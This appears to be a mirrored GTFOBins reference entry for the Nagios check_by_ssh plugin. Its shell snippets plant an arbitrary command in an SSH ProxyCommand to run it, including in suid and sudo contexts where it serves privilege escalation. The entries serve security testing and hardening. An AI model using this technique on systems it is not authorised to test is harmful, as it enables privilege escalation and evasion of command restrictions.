mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 23:09:46 +01:00
30 lines
856 B
Markdown
30 lines
856 B
Markdown
|
---
|
||
|
description: |
|
||
|
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
||
|
functions:
|
||
|
command:
|
||
|
- code: |
|
||
|
COMMAND='/usr/bin/id'
|
||
|
OUTPUT="output_file"
|
||
|
TF=$(mktemp)
|
||
|
echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
|
||
|
check_by_ssh -F "$TF" -H localhost -C something
|
||
|
cat $OUTPUT
|
||
|
suid:
|
||
|
- code: |
|
||
|
COMMAND='/usr/bin/id'
|
||
|
OUTPUT="output_file"
|
||
|
TF=$(mktemp)
|
||
|
echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
|
||
|
check_by_ssh -F "$TF" -H localhost -C something
|
||
|
cat $OUTPUT
|
||
|
sudo:
|
||
|
- code: |
|
||
|
COMMAND='/usr/bin/id'
|
||
|
OUTPUT="output_file"
|
||
|
TF=$(mktemp)
|
||
|
echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
|
||
|
check_by_ssh -F "$TF" -H localhost -C something
|
||
|
cat $OUTPUT
|
||
|
---
|